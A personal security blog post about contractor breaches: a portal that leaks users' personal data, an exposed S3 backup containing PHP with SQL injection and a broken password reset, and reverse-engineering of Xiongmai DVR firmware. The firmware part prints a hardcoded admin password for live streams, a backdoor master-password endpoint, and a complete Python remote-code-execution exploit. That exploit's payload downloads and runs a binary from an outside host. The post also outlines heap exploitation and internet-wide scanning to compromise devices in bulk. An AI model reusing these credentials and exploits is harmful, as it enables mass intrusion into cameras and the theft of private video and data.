more enterprise and contractor failure
another small slew of enterprise fail(s). the first two are cool stories back then. if youre a unsw student the last one may be interesting to you.
typically, most ‘breaches’ carried out nowadays are done via breaching a shittier vendor/contractor/suborgs that holds a corps data, looking for these for (especially prominent companies) are relatively trivial; you can see an example of this by going to crunchbase and going to their suborgs/subdomains/acqusitions, listing for similar companies, etc. these companies (most of the time) are good; but certain contractors typically do not due a lack of due diligence and shits given, which in turn either cause them to misconfig a bunch of random stuff (e.g. a ci server out in the open, etc.) and end up getting obliterated lol
1 - pretty big intl organization
this is a fairly prominent org that does stuff internationally, which has a division for infrastructure. unfortunately, they seemed to have delegated a lot of their work to contractors (since they really really champion open source dev work). unfortunately, we are gated behind a login screen:
there is no way to sign up, and judging by the subdomain this seems to be an internal portal for its staff and other contractors.
checking the source of the site alone:

checking for the public firebase config:

scrolling through this its immediately obv that the entire thing was written with genai. not an issue in of itself; but since the entire thing has comments and 30 emojis per line it may indicate that the contractors didnt give a shit. using firepwn, lets try to enumerate and see if theres any access control:
after trying the usual list of names it became pretty obviuous that this isnt going to work. lets try making an account instead:

logging in with these creds, i tried firebase again (which didnt work). however, now that we have perms, im now logged in to their ‘partner portal’. the ‘users search’ page allowed me to search for a single character, which retuerned almost every user in their crappy vibed rest api, which exposed the following information:
- DOB
- Country/Place of Birth
- Nationality
- First Name
- Last Name
- Preferred Name
- UniqId (??)
- UniqIdIssueDate
for example, this is me:

this obv meant that their user data was not in firebase, and from thjere someone could do mass se’ing, etc etc. reporting this to the org in question the portals firebase got completely nuked in the end, nice.
2 - helping some contractor for large companies do src auditing
this was a contractor that did (again) it infra and crm stuff. this was found entirely by accident because i scrolled too far on fofa and netlas. an exposed teamcity ci was very interesting; however i couldnt find a way to access it. after a bit of looking around, i went to greyhatwarfare and searched up the company, which popped this up:

lol ggs (maybe)?. the most classic way to breach stuff obviously given this, is:
$ aws s3 ls s3://[redacted] --no-sign-request
which revealed:
artif
img
backups
[redacted]
redactedsvc
local
artif gave me uselss stuff, but backups is interesting (again probably dont store important shit in exposed buckets). using trufflehog:
trufflehog s3 --bucket="[redacted]" --only-verified
didnt yield anything aside from a planetscale api key which had completely junk test data. however, accessing the zipfile in backup revealed a (pretty sizeable) php codebase:

ok cool lets read the source a bit. out of curiosity i searched "SELECT in vscode, which gave me:

wtf
more vulns
from that query alone i found around 3 sqlis, with a lot of very blatant ones:
in the above, $status is influenced entirely from a “talent pool acquisition status” (whatever the fuck that means), which seems to require auth. however, AccountReset.php lets you do this:
<?php
include('./../common/header.php');
include('./../config.php');
authCheck();
// $username = urldecode($_POST['username']); // notably this is all it needs (???)
// $resarr blah blah
// ...
if ($resarr['statuscode'] == "no_auth" || $resarr['statuscode'] == 'nadmin' || $resarr['statuscode'] == "ERROR")
{
<script>
alert("Unauthenticated.");
history.back();
</script>
}
// ...
// ... reset password flow wtf
echo json_encode($result_array);
?>
so their way to stop someone from resetting someone’s pw was to essentially slap js and fall through to the reset logic anyway lol
clearly, what we can do now is to:
- find a staff’s user
- exploit the auth endpoint being dogshit and reset their password
- login and sqli to dump them
reporting this they removed backups after a solid, not-so-long 12 months and never replied after
3 - cheating
this is interesting mainly just because of a cheating epidemic in unsw where people get “glasses”/shirt pins with mini cameras on them to cheat on their exams so they can finally make hardbass math and science edits on tiktok.
unfortunately, after a bit of digging, thanks to this post https://www.reddit.com/r/unsw/comments/1vp6ppu/cheating_on_math2801/, we can find the timestamp style. from this, i was able to find a contractor behind some of these cameras, which produces something known as the “security dvr firmware” for these cameras. after a bit of initial research, i found the firmware and also the main ‘control plane binary’. binwalking the firmware i found Sofia, the control plane binary. thankfully since its made by a lesser known chinese ot company its completely dogshit. contacting them didnt yield anything since i believe their psirt got rounded up to community service after the sheer amount of people using it to adapt in their cheating devices. i highly encourage downloading the binary and studying it yourself if you want to write your first exploit btw
checksec:
$ checksec --file Sofia
[*] '/redacted/Sofia'
Arch: arm-32-little
RELRO: No RELRO
Stack: Canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x8000)
Stack: Executable
RWX: Has RWX segments
you dont need to know much about arm internals besides thumb mode to beam the cheating cameras firmware
1. backdoors
there is are superadmin passwords and hardcoded pws. in sub_269698:
sprintf(a1,
"rtsp://%s/user=admin_password=tlJwpbo6_channel=1_stream=%d.sdp?real_stream",
v4, v2 == nullptr);
the password is tlJwpbo6. to access anyones stream, simply rtsp into port 554 and use admin:tlJwpbo6.
another backdoor is in sub_167874:
sprintf(s,
"POST /deviceSuperPassword HTTP/1.1\r\n"
"Content-Type: application/x-www-form-urlencoded\r\n"
"Content-Length: %d\r\n"
"Host: 139.159.227.42:9010\r\n"
"\r\n"
"text=%s&uuid=null&appkey=null&sn=%s\r\n",
v8 + 47, v57, v37);
where you could supply a serial number to this endpoint, and it returns a master password that overrides any auth. nice
2. rces
these were pretty easy to find. in sub_524934, the function looked awfully like an upgrade handler:
//...
}
v65 = sub_4F1F24(v4, "CompatibleVersion");
if ( sub_4F1AEC(v65) != 1
|| !sub_35DE40
|| ((MEMORY[0xFA78](s, 0, 0x30u), sub_35DE40(s), s[0] > 2u)
? (v64 = MEMORY[0xF604](MEMORY[0x770309]), v405 = 6)
: (MEMORY[0xF604]("continue upgrade"), v64 = 0, v405 = 0),
v405 == 6) )
{
v66 = sub_4F1F24(v4, "CompatibleVersion");
v67 = sub_4F1AEC(v66);
v68 = sub_4F231C(v453, "CompatibleVersion");
v69 = sub_4F1AEC(v68);
MEMORY[0xF34C]("CompatibleVersion check failed!\n CompatibleVersion:%d(board) %d(file)\n", v67, v69);
v59 = 6;
goto LABEL_228;
}
LABEL_49:
v74 = sub_35B1E4(v64);
v75 = (unsigned int)(v74 - 15679511) > 1;
if ( (unsigned int)(v74 - 15679511) > 1 )
v75 = (unsigned int)(v74 - 12722199) > 2;
v76 = v74;
if ( v75 && v74 )
{
nice. searching up system in IDA and xrefing led me back to this exact same function, this time on this line:
v313 = sub_4F231C(v312, "Script");
v314 = (const char *)sub_4F19A4(v313);
system(v314);
xrefing this i hit what looks like a vtable. xrefing again i see mentions of a DVRIP. per gemini:
DVRIP is a proprietary network communication protocol (also called Sofia or NetSurveillance) used by budget CCTV cameras, NVRs, and DVRs—primarily manufactured by Xiongmai (XMEye/iCSee) and some Dahua-based devices
so from this we could maybe infer that we could potentially hit this sink through DVRIP. looking at prior research on this protocol, it seems that we could remotely hit this sink without any auth. copying someones python impl of dvrip, we could simply copy the dvrip format, then embed this in the payload field:
{
"Name": "OPSystemUpgrade",
"OPSystemUpgrade": {
"Action": "Start",
"Type": "System",
"Script": "`curl foo.com/lol -L | base64 -d > /tmp/x.xz && unxz /tmp/x.xz && chmod +x /tmp/x && /tmp/x &`"
}
}
heres the xp
import hashlib
import json
import sys
from pwn import *
def xm_hash(password):
d = hashlib.md5(password.encode()).digest()
chars = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
return "".join(chars[(d[2 * i] + d[2 * i + 1]) % 62] for i in range(8))
def packet(msg_id, payload, session=0, seq=0):
body = json.dumps(payload).encode() + b"\x0a\x00"
return flat(
b"\xff\x01\x00\x00",
p32(session),
p32(seq),
b"\x00\x00",
p16(msg_id),
p32(len(body)),
body,
)
def recv_reply(r):
hdr = r.recvn(20)
session = u32(hdr[4:8])
msg_id = u16(hdr[14:16])
length = u32(hdr[16:20])
data = r.recvn(length) if length else b""
try:
return msg_id, json.loads(data.rstrip(b"\x00\x0a")), session
except ValueError:
return msg_id, data.hex(), session
def main():
target, port, cmd = sys.argv[1], int(sys.argv[2]), sys.argv[3]
r = remote(target, port, timeout=10)
login = {
"EncryptType": "MD5",
"LoginType": "DVRIP-Web",
"PassWord": xm_hash(""), # "" aka"tlJwpbo6"
"UserName": "admin",
}
r.send(packet(1000, login))
_, resp, session = recv_reply(r)
if resp.get("Ret") != 100:
print("dude")
return 1
print(f"+ logged in {session}")
upgrade = {
"Name": "OPSystemUpgrade",
"OPSystemUpgrade": {"Action": "Start", "Type": "System", "Script": cmd},
}
r.send(packet(1525, upgrade, session=session, seq=1))
try:
_, resp, _ = recv_reply(r)
print(f"+ res: {resp}")
except Exception:
print("mightve worked")
r.close()
return 0
if __name__ == "__main__":
sys.exit(main())
3. uaf
this ones interesting. sofia uses an internal flash fs called WFS. searching online, we get this from gemini:
WFS is a proprietary filesystem developed by Hikvision for its Network Video Recorders (NVRs) and Digital Video Recorders (DVRs).
[1] (https://www.ufsexplorer.com/ufs-explorer-video-recovery/?srsltid=AfmBOooXEaS7QruR5OQybE2P_I37nUcCgNEqXv09ZCzdtqv211_fx8DL)
How it works: Instead of formatting hard drives or flash storage with general-purpose filesystems (like FAT32 or NTFS),
Hikvision devices write video data directly to the storage media using WFS. [1] (https://www.ufsexplorer.com/ufs-explorer-video-recovery/?srsltid=AfmBOooXEaS7QruR5OQybE2P_I37nUcCgNEqXv09ZCzdtqv211_fx8DL)
Purpose: This design minimizes fragmentation and maximizes data-writing speeds for 24/7 video streams.
Note: Because it is proprietary, standard computers (Windows/Mac/Linux) cannot natively read a WFS-formatted drive. Data recovery professionals use specialized tools like UFS Explorer to reconstruct and extract videos from these drives. [1] (https://www.ufsexplorer.com/ufs-explorer-video-recovery/?srsltid=AfmBOooXEaS7QruR5OQybE2P_I37nUcCgNEqXv09ZCzdtqv211_fx8DL)
ok whatever that means. anyway, per some existing research, wfs holds a block buffer cache, which is a pool of 128 buffers that hold ru’d 512-byte flash blocks in ram. each buffer has a refcount that tracks how many threads are using it. then once refcount is 0 obv we free it and it can be recycled.
one of the functions that handle this (per the proximity browser) is
int __fastcall sub_5B8BE8(int result)
{
int v1; // r3
if ( result )
{
v1 = *(unsigned __int8 *)(result + 18);
*(_BYTE *)(result + 18) = v1 - 1;
if ( !v1 )
return sub_5A882C("Trying to free free buffer\n");
}
return result;
}
interestingly it does warn if v1 (if the buffer doesnt exist) is free that a double free is happening. it doesnt actually do anything about it however. also since this is multithreaded, there is a clear as day toctou. the same can be seen for looking up an entry and refcount incrementing:
int __fastcall sub_5B8C10(int a1, __int64 a2)
{
int i; // r1
for ( i = dword_AD2DB4[(unsigned __int8)a2]; i; i = *(_DWORD *)(i + 24) )
{
if ( *(_DWORD *)i == a1 && *(_QWORD *)(i + 8) == a2 )
{
++*(_BYTE *)(i + 18);
return i;
}
}
return i;
}
again, no locking. this could mean we could get a toctou and consequently a uaf vuln. maybe if we fuck with this carefully and look at the fields we could potentially get arb r/w.
after researching online the struct layout looks like this:
struct {
int device_no;
// ??? size 4
uint64_t block_number;
uint8_t uptodate;
uint8_t dirty;
uint8_t refcount;
uint8_t paddingidk;
uintptr_t hash_prev;
uintptr_t hash_next;
uintptr_t lru_prev;
uintptr_t lru_next;
uintptr_t dataptr;
}
unfortunately i couldnt give a fuck about actualyl exploiting it, but there is a chance someone could just use the ptrs to leak stuff if youre careful enough. this struct is 40 bytes big, and there are allocations of similar size with controllable data. youll have to groom allocations so these two threads get to play with the buffer properly instead of getting some random buffre.
to exploit this (by theory):
- have thread x do a lookup. it finds your target buf and incremenmts refcount and returns a ptr to the buffer.
- have another thread decrement at the right time to race with thread x. refcount is now 0, even though thread x is holding it.
- the other thread gets a new buffer, walking along the lru linked list to find a buffer with refcount 0. it finds thread x’s buffer, sets refcount to 1, evicts it and repurposes it for a different block.
- uaf, nice. we can now write stuff over the stale ref.
the buffer eviction logic:
int __fastcall sub_5B8C64(int a1, __int64 a2)
{
int result; // r0
int v6; // r10
int v7; // r3
int v8; // r2
int v9; // r3
int v10; // r2
int v11; // r3
int v12; // r1
while ( 1 )
{
result = sub_5B8C10(a1, a2);
if ( result )
break;
v6 = dword_9D8750;
while ( *(_BYTE *)(v6 + 18) )
{
v6 = *(_DWORD *)(v6 + 32);
if ( v6 == dword_9D8750 )
return 0;
}
*(_BYTE *)(v6 + 18) = 1;
v7 = *(_DWORD *)(v6 + 24);
if ( v7 )
*(_DWORD *)(v7 + 20) = *(_DWORD *)(v6 + 20);
v8 = *(_DWORD *)(v6 + 20);
if ( v8 )
*(_DWORD *)(v8 + 24) = v7;
v9 = *(unsigned __int8 *)(v6 + 8);
if ( dword_AD2DB4[v9] == v6 )
dword_AD2DB4[v9] = *(_DWORD *)(v6 + 24);
if ( !*(_DWORD *)(v6 + 28) || !*(_DWORD *)(v6 + 32) )
sub_5A882C("Free block list corrupted");
v10 = *(_DWORD *)(v6 + 28);
*(_DWORD *)(v10 + 32) = *(_DWORD *)(v6 + 32);
v11 = *(_DWORD *)(v6 + 32);
*(_DWORD *)(v11 + 28) = v10;
if ( dword_9D8750 == v6 )
dword_9D8750 = v11;
if ( *(_BYTE *)(v6 + 17) )
sub_5B8AE8(v6);
*(_BYTE *)(v6 + 17) = 0;
*(_BYTE *)(v6 + 16) = 0;
v12 = dword_AD2DB4[(unsigned __int8)a2];
*(_DWORD *)v6 = a1;
*(_QWORD *)(v6 + 8) = a2;
while ( 1 )
{
if ( !v12 )
{
sub_5B8A8C(v6);
return v6;
}
if ( *(_DWORD *)v12 == a1 && *(_QWORD *)(v12 + 8) == a2 )
break;
v12 = *(_DWORD *)(v12 + 24);
}
*(_DWORD *)v6 = 0;
*(_QWORD *)(v6 + 8) = 0;
*(_BYTE *)(v6 + 18) = 0;
sub_5B8A8C(v6);
}
return result;
}
so from here, we can see some interesting stuff. nmotably, we can see
if ( !*(_DWORD *)(v6 + 28) || !*(_DWORD *)(v6 + 32) )
sub_5A882C("Free block list corrupted");
v10 = *(_DWORD *)(v6 + 28);
*(_DWORD *)(v10 + 32) = *(_DWORD *)(v6 + 32);
v11 = *(_DWORD *)(v6 + 32);
*(_DWORD *)(v11 + 28) = v10;
if ( dword_9D8750 == v6 )
given the context and the vairables being reused, we can probably guess:
if ( !*(_DWORD *)(v6 + 28) || !*(_DWORD *)(v6 + 32) )
sub_5A882C("Free block list corrupted");
prev = *(_DWORD *)(v6 + 28);
*(_DWORD *)(prev + 32) = *(_DWORD *)(v6 + 32);
next = *(_DWORD *)(v6 + 32);
*(_DWORD *)(next + 28) = prev;
if ( dword_9D8750 == v6 )
so, we read buf->lru_prev, set prev->lru_next to buf->lru_next, read buf->lru_next, then next->lru_prev = buf->lru_prev. if you have skidded before, this is an unsafe unlink, since theres no validation whatsoever on the ptrs. this means if you control buf+28 and buf+32 we can get an arbitrary write. from there, we cna probably chain this to eventually get an arbitrary read, amybe overwrite a got entry, etc etc.
attacking it remotely
thanks to prior work on attacking this specific brand, we could use CVE-2018-17915 (see https://sec-consult.com/vulnerability-lab/advisory/vulnerabilities-xiongmai-ip-cameras-nvrs-dvrs-cve-2018-17915-cve-2018-17917-cve-2018-17919/) to scan the internet for xmeye cloud ids. using this, we can then iteratively reset access and rce each remotely.
to anyone cheating in math exams i highly suggest the casio fx82au plus ii. personally speaking its one of the best devices that can help you cheat. not only can it do math for you, it can even help you solve quadratic equations. remarkable piece of technology